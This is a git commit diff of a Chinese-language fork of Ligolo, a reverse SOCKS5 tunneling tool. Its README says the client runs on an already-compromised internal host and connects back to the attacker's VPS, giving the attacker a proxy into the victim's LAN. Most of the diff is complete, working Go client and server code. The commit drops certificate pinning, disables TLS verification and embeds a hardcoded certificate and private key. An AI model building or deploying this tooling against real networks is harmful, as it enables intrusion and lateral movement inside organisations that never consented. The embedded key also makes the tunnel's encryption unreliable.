裁剪功能

This commit is contained in:
zhaochengyu
2020-08-12 13:45:18 +08:00
parent 90b55ec5ed
commit 255c4aa07b
11 changed files with 291 additions and 358 deletions
+2 -1
View File
@@ -1,2 +1,3 @@
bin/
certs/
*.pem
.idea/
+13 -12
View File
@@ -1,14 +1,15 @@
RELAY_SOURCE=./cmd/localrelay
LIGOLO_SOURCE=./cmd/ligolo
CLIENT_SOURCE=./cmd/ligoloc
SERVER_SOURCE=./cmd/ligolos
TLS_CERT ?= 'certs/cert.pem'
LDFLAGS="-s -w -X main.tlsFingerprint=$$(openssl x509 -fingerprint -sha256 -noout -in $(TLS_CERT) | cut -d '=' -f2)"
LDFLAGSOLD="-s -w -X main.tlsFingerprint=$$(openssl x509 -fingerprint -sha256 -noout -in $(TLS_CERT) | cut -d '=' -f2)"
LDFLAGS="-s -w"
GCFLAGS="all=-trimpath=$GOPATH"
RELAY_BINARY=localrelay
LIGOLO_BINARY=ligolo
CLIENT_BINARY=ligoloc
SERVER_BINARY=ligolos
TAGS=release
OSARCH = "linux/amd64 linux/386 linux/arm windows/amd64 windows/386 darwin/amd64 darwin/386"
OSARCH = "linux/amd64 linux/386 windows/amd64 windows/386 darwin/amd64 darwin/386"
TLS_HOST ?= 'ligolo.lan'
@@ -26,14 +27,14 @@ certs: ## Build SSL certificates
cd certs && go run `go env GOROOT`/src/crypto/tls/generate_cert.go -ecdsa-curve P256 -ed25519 -host $(TLS_HOST)
build: ## Build for the current architecture.
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o bin/$(RELAY_BINARY) $(RELAY_SOURCE) && \
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o bin/$(LIGOLO_BINARY) $(LIGOLO_SOURCE)
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o bin/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o bin/$(SERVER_BINARY) $(SERVER_SOURCE)
build-all: ## Build for every architectures.
gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "bin/$(LIGOLO_BINARY)_{{.OS}}_{{.Arch}}" $(LIGOLO_SOURCE)
gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "bin/$(RELAY_BINARY)_{{.OS}}_{{.Arch}}" $(RELAY_SOURCE)
gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "bin/$(SERVER_BINARY)_{{.OS}}_{{.Arch}}" $(SERVER_SOURCE)
gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "bin/$(CLIENT_BINARY)_{{.OS}}_{{.Arch}}" $(CLIENT_SOURCE)
clean:
rm -rf certs
rm bin/$(LIGOLO_BINARY)_*
rm bin/$(RELAY_BINARY)_*
rm bin/$(SERVER_BINARY)_*
rm bin/$(CLIENT_BINARY)_*
+71 -148
View File
@@ -1,193 +1,116 @@
# Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
# Ligolo : 用于内网渗透的反向隧道
[![forthebadge](https://forthebadge.com/images/badges/made-with-go.svg)](https://forthebadge.com)
[![forthebadge](https://forthebadge.com/images/badges/gluten-free.svg)](https://forthebadge.com)
![Ligolo](img/ligolo.png)
## 介绍
<!-- START doctoc generated TOC please keep comment here to allow auto update -->
<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
## Table of Contents
项目根据 [ligolo](https://github.com/sysdream/ligolo) 修改,主要做一些功能上的裁剪,方便使用.
- [Introduction](#introduction)
- [Use case](#use-case)
- [Quick Demo](#quick-demo)
- [Performance](#performance)
- [Usage](#usage)
- [Setup / Compiling](#setup--compiling)
- [How to use?](#how-to-use)
- [TL;DR](#tldr)
- [Options](#options)
- [Features](#features)
- [To Do](#to-do)
- [Licensing](#licensing)
- [Credits](#credits)
**Ligolo** 是一个简单的,轻量级的反向Socks5代理工具,所有的流量使用TLS加密.
<!-- END doctoc generated TOC please keep comment here to allow auto update -->
其功能类似于*Meterpreter*中的*Autoroute + Socks4a*,但是更加稳定,速度更快.
## Introduction
## 使用场景
**Ligolo** is a *simple* and *lightweight* tool for establishing *SOCKS5* or *TCP* tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).
当你已经在对方内网获取到一台 Windows / Linux / Mac 主机的权限且该主机可以连接互联网.
It is comparable to *Meterpreter* with *Autoroute + Socks4a*, but more stable and faster.
此时你想要建立一个对方内网的Socks5代理.
## Use case
**Ligolo** 可以帮助你建立代理,协助你继续进行内网渗透.
You compromised a Windows / Linux / Mac server during your external audit. This server is located inside a LAN network and
you want to establish connections to other machines on this network.
> 如果已控主机不能访问互联网,可以尝试使用另一款工具 [pystinger](https://github.com/FunnyWolf/pystinger)
**Ligolo** can setup a tunnel to access internal server's resources.
## Quick Demo
Relay of a RDP connection using Proxychains (WAN).
![RDP](img/rdesktop_example.gif)
## Performance
Here is a screenshot of a speedtest between two 100mb/s hosts (ligolo / localrelay). Performance may vary depending on the system and network configuration.
![Speedtest](img/speedtest.png)
## Usage
### Setup / Compiling
Make sure *Go* is installed and working.
1. Get Ligolo and dependencies
```
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep
```
2. Generate self-signed TLS certificates (will be placed in the *certs* folder)
```
make certs TLS_HOST=example.com
```
NOTE: You can also use your own certificates by using the `TLS_CERT` make option when calling *build*. Example: `make build-all TLS_CERT=certs/mycert.pem`.
3. Build
* 3.1. For all architectures
```
make build-all
```
* 3.2. (or) For the current architecture
```
make build
```
### How to use?
*Ligolo* consists of two modules:
- localrelay
- ligolo
*Localrelay* is intended to be launched on the control server (the attacker server).
*Ligolo* is the program to run on the target computer.
For *localrelay*, you can leave the default options. It will listen on every interface on port 5555 and wait for connections from *ligolo* (`-relayserver` parameter).
For *ligolo*, you must specify the IP address of the relay server (or your attack server) using the `-relayserver ip:port` parameter.
You can use the `-h` option for help.
Once the connection has been established between *Ligolo* and *LocalRelay*, a *SOCKS5* proxy will be set up on TCP port `1080` on the relay server (you can change the TCP address/port using the *-localserver* option).
After that, all you have to do is use your favorite tool (Proxychains for example), and explore the client's LAN network.
## 使用方法
### TL;DR
On your attack server.
- 获取已编译的二进制文件 [release](https://github.com/funnywolf/ligolo/releases)
- 在你的VPS主机中.
```
./bin/localrelay_linux_amd64
./ligolos
```
On the compromise host.
- 在已控制的内网主机中.
```
> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
> ligoloc.exe -s your-vps-ip:443
```
Once the connection is established, set the following parameters on the ProxyChains config file (On the attack server):
- 连接建立成功后,此时VPS的127.0.0.1:1080已经建立已控主机的内网Socks5代理.
### 详细说明
*Ligolo* 包含两个模块:
- ligolos (server)
- ligoloc (client)
*ligolos* 运行于你的VPS服务器 (攻击服务器).
*ligoloc* 运行于已经控制的内网主机.
*ligolos*可以使用默认设置.它会监听0.0.0.0:443端口(用于等待ligoloc连接)及127.0.0.1:1080(用于socks5代理).
*ligoloc*运行时必须制定服务端地址,使用参数`-s your-vps-ip:443`.
你可以使用`-h`参数查看帮助.
一旦*ligolos* 和 *ligoloc* 之间的连接建立成功,你即可使用VPS服务器`127.0.0.1:1080`的内网socks5代理.
### 选项
*ligolos* options:
```
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
PS XXX\bin> .\ligolos_windows_amd64.exe -h
Usage of D:\Code\git\go\src\ligolo\bin\ligolos_windows_amd64.exe:
-cert string
The TLS server certificate,Unnecessary (default "cert.pem")
-key string
The TLS server key,Unnecessary (default "key.pem")
-l string
The relay server listening address (the connect-back address) (default "0.0.0.0:443")
-s5 string
The local socks5 server address (your proxychains parameter) (default "127.0.0.1:1080")
```
Profit.
*ligoloc* options:
```
$ proxychains nmap -sT 10.0.0.0/24 -p 80 -Pn -A
$ proxychains rdesktop 10.0.0.123
PS XXX\bin> .\ligoloc_windows_amd64.exe -h
Usage of D:\Code\git\go\src\ligolo\bin\ligoloc_windows_amd64.exe:
-s string
The relay server (the connect-back address) (default "example.com:443")
```
### Options
### 编译
*Localrelay* options:
参考原版ligolo的编译方法
```
Usage of localrelay:
-certfile string
The TLS server certificate (default "certs/server.crt")
-keyfile string
The TLS server key (default "certs/server.key")
-localserver string
The local server address (your proxychains parameter) (default "127.0.0.1:1080")
-relayserver string
The relay server listening address (the connect-back address) (default "0.0.0.0:5555")
```
## 特性
*Ligolo* options:
```
Usage of ligolo:
-autorestart
Attempt to reconnect in case of an exception
-relayserver string
The relay server (the connect-back address) (default "127.0.0.1:5555")
-skipverify
Skip TLS certificate pinning verification
-targetserver string
The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server
```
## Features
- TLS 1.3 tunnel with TLS pinning
- Multiplatforms (Windows / Linux / Mac / ...)
- Multiplexing (1 TCP connection for all flows)
- SOCKS5 proxy or simple relay
- TLS 1.3 加密隧道
- 多平台 (Windows / Linux / Mac / ...)
- 多连接复用 (1 TCP连接传输所有流量)
- SOCKS5代理
## To Do
- Better timeout handling
- SOCKS5 UDP support
- Implement mTLS
- 更好的超时机制
- SOCKS5 UDP 支持
- mTLS双向认证
- 反向端口映射 (映射内网端口到互联网)
## Licensing
GNU General Public License v3.0 (See LICENSING).
GNU General Public License v3.0 (参考 LICENSING).
## Credits
## 原版作者
* Nicolas Chatelain <n.chatelain -at- sysdream.com>
[![Sysdream](img/logo_sysdream.png)](https://sysdream.com)
-163
View File
@@ -1,163 +0,0 @@
package main
import (
"bytes"
"crypto/sha256"
"crypto/tls"
"encoding/hex"
"flag"
"fmt"
"github.com/armon/go-socks5"
"github.com/hashicorp/yamux"
"github.com/sirupsen/logrus"
"io"
"net"
"strings"
"time"
)
var tlsFingerprint string
var (
ErrInvalidServerCert = fmt.Errorf("invalid TLS server certificate")
ErrInvalidPinnedCert = fmt.Errorf("invalid TLS pinned certificate")
)
func main() {
fmt.Print(`
██╗ ██╗ ██████╗ ██████╗ ██╗ ██████╗
██║ ██║██╔════╝ ██╔═══██╗██║ ██╔═══██╗
██║ ██║██║ ███╗██║ ██║██║ ██║ ██║
██║ ██║██║ ██║██║ ██║██║ ██║ ██║
███████╗██║╚██████╔╝╚██████╔╝███████╗╚██████╔╝
╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═════╝
Local Input - Go - Local Output
`)
bypassVerify := flag.Bool("skipverify", false, "Skip TLS certificate pinning verification")
targetServer := flag.String("targetserver", "", "The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server")
relayServer := flag.String("relayserver", "127.0.0.1:5555", "The relay server (the connect-back address)")
autoRestart := flag.Bool("autorestart", false, "Attempt to reconnect in case of an exception")
flag.Parse()
if tlsFingerprint == "" && *bypassVerify == false {
logrus.Fatal("TLS Fingerprint is missing ! Use -skipverify option to bypass TLS verification")
}
for {
err := StartLigolo(*relayServer, *targetServer, *bypassVerify)
if err != nil {
if *autoRestart {
logrus.Error(err)
} else {
logrus.Fatal(err)
}
}
logrus.Warning("Restarting Ligolo...")
time.Sleep(10 * time.Second)
}
}
func StartLigolo(relayServer string, targetServer string, skipVerify bool) error {
var socks *socks5.Server
logrus.Infoln("Connecting to relay server...")
config := &tls.Config{InsecureSkipVerify: true}
conn, err := tls.Dial("tcp", relayServer, config)
if err != nil {
return err
}
if !skipVerify {
err := verifyTlsCertificate(conn.ConnectionState())
if err != nil {
logrus.WithFields(logrus.Fields{"remoteaddr": conn.RemoteAddr().String()}).Error(err)
return err
}
}
if targetServer == "" {
socks, err = startSocksProxy()
if err != nil {
logrus.Error("Could not start SOCKS5 proxy !")
return err
}
}
session, err := yamux.Client(conn, nil)
if err != nil {
return err
}
logrus.Infoln("Waiting for connections....")
for {
stream, err := session.Accept()
if err != nil {
return err
}
logrus.WithFields(logrus.Fields{"active_sessions": session.NumStreams()}).Println("Accepted new connection !")
// When no targetServer are specified, starts a socks5 proxy
if targetServer == "" {
go socks.ServeConn(stream)
} else {
proxyConn, err := net.Dial("tcp", targetServer)
if err != nil {
logrus.Errorf("Error creating Proxy TCP connection ! Error : %s\n", err)
return err
}
go handleRelay(stream, proxyConn)
}
}
}
func startSocksProxy() (*socks5.Server, error) {
conf := &socks5.Config{}
socks, err := socks5.New(conf)
if err != nil {
logrus.Error("Could not start SOCKS5 proxy !")
return nil, err
}
return socks, nil
}
func verifyTlsCertificate(connState tls.ConnectionState) error {
valid := false
pinnedCert := strings.Replace(tlsFingerprint, ":", "", -1)
pinnedCertBytes, err := hex.DecodeString(pinnedCert)
if err != nil {
return ErrInvalidPinnedCert
}
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[:], pinnedCertBytes) == 0 {
valid = true
}
}
if !valid {
return ErrInvalidServerCert
}
return nil
}
func handleRelay(src net.Conn, dst net.Conn) {
stop := make(chan bool, 2)
go relay(src, dst, stop)
go relay(dst, src, stop)
select {
case <-stop:
return
}
}
func relay(src net.Conn, dst net.Conn, stop chan bool) {
io.Copy(dst, src)
dst.Close()
src.Close()
stop <- true
return
}
+96
View File
@@ -0,0 +1,96 @@
package main
import (
"crypto/tls"
"flag"
"fmt"
"github.com/armon/go-socks5"
"github.com/hashicorp/yamux"
"github.com/sirupsen/logrus"
"io"
"net"
"time"
)
var tlsFingerprint string
var (
ErrInvalidServerCert = fmt.Errorf("invalid TLS server certificate")
ErrInvalidPinnedCert = fmt.Errorf("invalid TLS pinned certificate")
)
func main() {
relayServer := flag.String("s", "example.com:443", "The relay server (the connect-back address)")
flag.Parse()
for {
err := StartLigolo(*relayServer)
if err != nil {
logrus.Error(err)
}
logrus.Warning("Restarting ligolo client...")
time.Sleep(10 * time.Second)
}
}
func StartLigolo(relayServer string) error {
var socks *socks5.Server
logrus.Infoln("Connecting to ligolo server...")
config := &tls.Config{InsecureSkipVerify: true}
conn, err := tls.Dial("tcp", relayServer, config)
if err != nil {
return err
}
socks, err = startSocksProxy()
if err != nil {
logrus.Error("Could not start SOCKS5 proxy !")
return err
}
session, err := yamux.Client(conn, nil)
if err != nil {
return err
}
logrus.Infoln("Waiting for connections....")
for {
stream, err := session.Accept()
if err != nil {
return err
}
logrus.WithFields(logrus.Fields{"active_sessions": session.NumStreams()}).Println("Accepted new connection !")
// When no targetServer are specified, starts a socks5 proxy
go socks.ServeConn(stream)
}
}
func startSocksProxy() (*socks5.Server, error) {
conf := &socks5.Config{}
socks, err := socks5.New(conf)
if err != nil {
logrus.Error("Could not start SOCKS5 proxy !")
return nil, err
}
return socks, nil
}
func handleRelay(src net.Conn, dst net.Conn) {
stop := make(chan bool, 2)
go relay(src, dst, stop)
go relay(dst, src, stop)
select {
case <-stop:
return
}
}
func relay(src net.Conn, dst net.Conn, stop chan bool) {
io.Copy(dst, src)
dst.Close()
src.Close()
stop <- true
return
}
+22 -34
View File
@@ -7,25 +7,15 @@ import (
"github.com/hashicorp/yamux"
"github.com/sirupsen/logrus"
"io"
Ligolo "ligolo"
"net"
)
func main() {
fmt.Print(`
Local Input - Go - Local Output
`)
localServer := flag.String("localserver", "127.0.0.1:1080", "The local server address (your proxychains parameter)")
relayServer := flag.String("relayserver", "0.0.0.0:5555", "The relay server listening address (the connect-back address)")
certFile := flag.String("certfile", "certs/cert.pem", "The TLS server certificate")
keyFile := flag.String("keyfile", "certs/key.pem", "The TLS server key")
localServer := flag.String("s5", "127.0.0.1:1080", "The local socks5 server address (your proxychains parameter)")
relayServer := flag.String("l", "0.0.0.0:443", "The relay server listening address (the connect-back address)")
certFile := flag.String("cert", "cert.pem", "The TLS server certificate,Unnecessary")
keyFile := flag.String("key", "key.pem", "The TLS server key,Unnecessary")
flag.Parse()
@@ -35,12 +25,12 @@ func main() {
// LigoloRelay structure contains configuration, the current session and the ConnectionPool
type LigoloRelay struct {
LocalServer string
RelayServer string
CertFile string
KeyFile string
LocalServer string
RelayServer string
CertFile string
KeyFile string
ConnectionPool chan *yamux.Session
Session *yamux.Session
Session *yamux.Session
}
// NewLigoloRelay creates a new LigoloRelay struct
@@ -50,6 +40,7 @@ func NewLigoloRelay(localServer string, relayServer string, certFile string, key
// Start listening for local and relay connections
func (ligolo LigoloRelay) Start() {
logrus.WithFields(logrus.Fields{"localserver": ligolo.LocalServer, "relayserver": ligolo.RelayServer}).Println("Ligolo server started.")
go ligolo.startRelayHandler()
ligolo.startLocalHandler()
@@ -57,17 +48,19 @@ func (ligolo LigoloRelay) Start() {
// Listen for Ligolo connections
func (ligolo LigoloRelay) startRelayHandler() {
cer, err := tls.LoadX509KeyPair(ligolo.CertFile, ligolo.KeyFile)
if err != nil {
logrus.Error("Could not load TLS certificate.")
return
cer, _ = tls.X509KeyPair([]byte(Ligolo.CertPEM), []byte(Ligolo.KeyPEM))
//
//logrus.Warning("Could not load TLS certificate.")
//return
}
config := &tls.Config{Certificates: []tls.Certificate{cer}}
listener, err := tls.Listen("tcp4", ligolo.RelayServer, config)
if err != nil {
logrus.Errorf("Could not bind to port : %v\n", err)
return
}
defer listener.Close()
@@ -96,12 +89,12 @@ func (ligolo LigoloRelay) startLocalHandler() {
return
}
defer listener.Close()
ligolo.Session = <- ligolo.ConnectionPool
go func(){
ligolo.Session = <-ligolo.ConnectionPool
go func() {
for {
<- ligolo.Session.CloseChan()
<-ligolo.Session.CloseChan()
logrus.WithFields(logrus.Fields{"remoteaddr": ligolo.Session.RemoteAddr()}).Println("Received session shutdown.")
ligolo.Session = <- ligolo.ConnectionPool
ligolo.Session = <-ligolo.ConnectionPool
logrus.WithFields(logrus.Fields{"remoteaddr": ligolo.Session.RemoteAddr()}).Println("New session acquired.")
}
}()
@@ -119,7 +112,7 @@ func (ligolo LigoloRelay) startLocalHandler() {
// Handle new local connections
func (ligolo LigoloRelay) handleLocalConnection(conn net.Conn) {
if ligolo.Session.IsClosed(){
if ligolo.Session.IsClosed() {
logrus.Warning("Closing connection because no session available !")
conn.Close()
return
@@ -138,14 +131,9 @@ func (ligolo LigoloRelay) handleLocalConnection(conn net.Conn) {
go relay(conn, stream)
go relay(stream, conn)
select {
case <-ligolo.Session.CloseChan():
logrus.WithFields(logrus.Fields{"remoteaddr": ligolo.Session.RemoteAddr().String()}).Println("Connection closed.")
return
}
}
// Handle new ligolo connections
// Handle new ligoloc connections
func handleRelayConnection(conn net.Conn) (*yamux.Session, error) {
logrus.WithFields(logrus.Fields{"remoteaddr": conn.RemoteAddr().String()}).Info("New relay connection.\n")
session, err := yamux.Server(conn, nil)
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.9 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 646 KiB

BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 438 KiB

+87
View File
@@ -0,0 +1,87 @@
package ligolo
const CertPEM = `-----BEGIN CERTIFICATE-----
MIIFnTCCA4WgAwIBAgIUb8auVNIbbScZ3Si/Q3fclASF3U4wDQYJKoZIhvcNAQEL
BQAwXjELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVRleGFzMQ8wDQYDVQQHDAZBdXN0
aW4xFDASBgNVBAoMC0RldmVsb3BtZW50MRgwFgYDVQQDDA93d3cuZXhhbXBsZS5j
b20wHhcNMTkwODE2MTQyNDIwWhcNMjAwODE1MTQyNDIwWjBeMQswCQYDVQQGEwJV
UzEOMAwGA1UECAwFVGV4YXMxDzANBgNVBAcMBkF1c3RpbjEUMBIGA1UECgwLRGV2
ZWxvcG1lbnQxGDAWBgNVBAMMD3d3dy5leGFtcGxlLmNvbTCCAiIwDQYJKoZIhvcN
AQEBBQADggIPADCCAgoCggIBAPk94FxUqTYZhdaqVQEIrS/yE7BjO9RMsM1nhZ5n
sM0s0noWMpJmQMGRoOP+uqIFanUT2FHfMe1iSRsmeALOB1hkbZsIGpwS6MTaS0vu
VEVACENJebJz+aNtq5QuUA66C0T+IRvxXolynx+5gWvqoWeq3T3bGOlI4MI8n4Xe
ywGvqVW57M3sp+G7Avs/K0PbmcX4qEC6N+i46oE1Q/siuFz21NeoPpOKgCPMEzPG
P1H9o2JYMp0NODp69HOYBQlPH7z1pvtZca7mS+QJWIGYV9mJ9itN4LmnvypSu6jJ
aavw/s2OGz9lbqpmZQT/3SwB3Mr/lfCdyL03J/JhUJsA4SIG2Xrc/Vu/n9QH8TS7
gzO003wf+bz4PGP6HnIVWLqVpPLOa4mz6KUlcdtiw34/tIjPqobtRRXvo1NVObEF
HRVXDV6CrkZQ+9hFS3lC7GR6i3XieT/j8j9JONz/vvewzhnQ/KyO1MtswEuj8Sbn
1pTJ5dltzG5x3TjcvCwdDk2W+yBzoTqNZtB+FgniVY/FmNFPnhkKQYn86cp5bDIe
5Y2pJ5Nm8uhsi1ILDCrpGPhRUu9/0trxpDKwKcSCuxsb7SrBP/C4iGi5nyi+3A9C
1HRow8bFK8iochM4uAi4s1jYUD8taAooT5vtLkeLUQL/GT6fxwXnb/6P0nf0bR08
+7wFAgMBAAGjUzBRMB0GA1UdDgQWBBRhnTJdK2Ccq18YZkWl37H3M6U9CjAfBgNV
HSMEGDAWgBRhnTJdK2Ccq18YZkWl37H3M6U9CjAPBgNVHRMBAf8EBTADAQH/MA0G
CSqGSIb3DQEBCwUAA4ICAQBCbyButZbs8cAbyPdCGpstVAJvbjQb5FvFPYSGnXHj
mmE7MoYsi+GgL4IfQv62FONDYMMD7LtEgRP+Ab5i23Pficq+rs/cZKlgYuzJyv70
I4xaSk9m4ejohJsUA/l2aCtLXJDg+PCYEa2e8PnlOg2Cely/QXg/izHagnmFBvMu
EfW/9mf0KTASz5GF5C/I/Y3uh/hXvhrpyjksgfyvLu3cJxWeeqh2GaOA6KgQikkR
OfsmFHOrozuyDqLt+GK09zg69l0Tyy4uqgUk2ol8KvmB7fFvKfFxPAap7nwZTwIJ
pB+sdVkRao9schLrn/Df4smUpGcM/Vsq8rVKG+yfIRVfp/PVMwEyDqVcklMo0HF7
syJ6bRZNAdAXIVlP+uvOJYVvrc9tr3mO0hAGP74t/C/uNQbJ91/uPKnh7pKJS8Xb
xgdRKRyGw6FVddJdy7x9UP3KQm5Pb9/v8Af3O7v9ye0VoiZMUT+PpugyIXLdTeSF
7Ti6GyU8oW1CYD3rTTcjIh8POOLBeCVgdhrpo9ATzbmzVg2E+kZcoenU/QuudDM2
vkTkzF4KBmk4UYPPRqgt9UgGMFnkRonOCSVKqJo4JHRnjF+Bh+6VwkjNFLqj8Oyu
suZPV64v0uhwk0oiOcFV1f/7I+l9T+sSElnP9hhSsQHQOulURMRQUwRGhFyX0/Wu
IA==
-----END CERTIFICATE-----`
const KeyPEM = `-----BEGIN PRIVATE KEY-----
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
jWHDR/wbFe00CkzhKvFxOHlilDkQc8bG
-----END PRIVATE KEY-----`